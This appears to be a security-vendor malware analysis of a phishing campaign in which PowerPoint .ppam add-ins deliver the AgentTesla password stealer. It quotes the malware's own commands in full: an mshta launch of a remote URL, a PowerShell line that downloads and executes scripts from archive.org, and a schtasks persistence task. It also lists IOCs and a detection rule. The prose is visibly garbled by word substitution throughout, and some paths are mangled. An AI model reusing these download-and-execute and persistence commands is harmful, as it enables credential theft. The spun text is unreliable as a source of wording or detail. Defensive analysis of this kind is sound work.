Authored by Anuradha M
McAfee Labs have noticed a brand new phishing marketing campaign that makes use of macro capabilities out there in Microsoft PowerPoint. On this marketing campaign, the spam e-mail comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to ship variants of AgentTesla which is a well known password stealer. These spam emails purport to be associated to monetary transactions.
AgentTesla is a RAT (Distant Entry Trojan) malware that has been energetic since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal consumer credentials and different data from victims by way of screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly by way of phishing campaigns.
Throughout Q2, 2021, we’ve got seen a rise in PowerPoint malware.
On this marketing campaign, the spam e-mail incorporates an connected file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes akin to: “New PO300093 Order” as proven in Determine 2. The attachment filename is “300093.pdf.ppam”.
PPAM file:
This file kind was launched in 2007 with the discharge of Microsoft Workplace 2007. It is a PowerPoint macro-enabled Open XML add-in file. It incorporates elements that add further performance, together with additional instructions, customized macros, and new instruments for extending default PowerPoint capabilities.
Since PowerPoint helps ‘add-ins’ developed by third events so as to add new options, attackers abuse this characteristic to mechanically execute macros.
Technical Evaluation:
As soon as the sufferer opens the “.ppam” file, a safety discover warning pop-up as proven in Determine 3 to alert the consumer in regards to the presence of macro.
From Determine 4, you’ll be able to see that the Add-in characteristic of the PowerPoint will be recognized from the content material of [Content_Types].xml file which can be current contained in the ppam file.
The PPAM file incorporates the next information and directories which will be seen upon extraction.
- _rels.rels
- [Content_Types].xml
- pptrelspresentation.xml.rels
- pptasjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin – Malicious file
- pptpresentation.xml
As soon as the sufferer permits the macro, the add-in will get put in silently with out consumer information, which will be seen in Determine 5. On seeing that there is no such thing as a content material and no slide within the PowerPoint, the consumer will shut the file however, within the backend, macro code will get executed to provoke the malicious exercise.
As you’ll be able to see in Determine 6, the macro is executed inside the add-in auto_open() occasion i.e.., macro is fired instantly after the presentation is opened and the add-in is loaded.
The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Software) which is proven in Determine 7. The mshta course of is launched by Powerpoint by calling the CreateProcessA() API.
Under are the parameters handed to CreateProcessA() API:
kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D,
Under is the command line parameter of mshta:
mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” however it didn’t get any response from “27.html” on the time of research.
Later mshta.exe spawns powershell.exe as a baby course of.
Under is the command line parameters of PowerShell:
powershell.exe - ”C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/objects/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/objects/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/objects/150-Re-Crypted-25-June/27-3.txt‘) -useB);
PowerShell downloads and executed script information from the above-mentioned URLs.
The beneath Determine 8 reveals the content material of the first url – “hxxps://ia801403.us.archive.org/23/objects/150-Re-Crypted-25-June/27-1.txt”:
There are two binary information saved in two enormous arrays inside every downloaded PowerShell file. The primary file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs talked about within the command line, decodes it, and launches MSBuild.exe to inject the payload inside itself.
Schedule Duties:
To realize persistence, it creates a scheduled process in “Activity Scheduler” and drops a process file beneath C:windowssystem32SECOTAKSA to make your complete marketing campaign work successfully.
The brand new process identify is “SECOTAKSA”. Its motion is to execute the command “mshta hxxp:// //1230948percent1230948@0v2x.blogspot.com/p/27.html” and it’s known as each 80 minutes.
Under is the command line parameters of schtasks:
schtasks.exe - “C:WindowsSystem32schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”””MsHtA””””hxxp://1230948percent1230948@0v2x.blogspot.com/p/27.html“”
An infection Chain:
Course of Tree:
Mitigation:
McAfee’s Endpoint Safety (ENS) and Home windows Methods Safety (WSS) product have DAT protection for this variant of malware.
This malicious PPAM doc with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.
The PPAM doc can also be blocked by the AMSI characteristic in ENS as AMSI-FKN!
Moreover, the Exploit Prevention characteristic in McAfee’s Endpoint Safety product blocks the an infection chain of this malware by including the beneath skilled rule in order to shield our clients from this malicious assault.
Professional Rule authored primarily based on the beneath an infection chain:
POWERPNT.EXE –> mshta.exe
Professional Rule:
Rule {
Course of {
Embrace OBJECT_NAME { -v “powerpnt.exe” }
}
Goal {
Match PROCESS {
Embrace OBJECT_NAME { -v “mshta.exe” }
Embrace PROCESS_CMD_LINE { -v “**http**” }
Embrace -access “CREATE”
}
}
}
IOCs
URLs:
hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
hxxp:// //1230948percent1230948@0v2x.blogspot.com/p/27.html
hxxps://p8hj[.]blogspot[.]com/p/27.html
hxxps://ia801403.us.archive.org/23/objects/150-Re-Crypted-25-June/27-1.txt
hxxps://ia801403.us.archive.org/23/objects/150-Re-Crypted-25-June/27-2.txt
hxxps://ia801403.us.archive.org/23/objects/150-Re-Crypted-25-June/27-3.txt
EML information:
72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3
0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0
fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253
38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb
PPAM information:
fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182
6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3
9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b
ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd
c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d
Extracted AgentTesla information:
71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99
90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371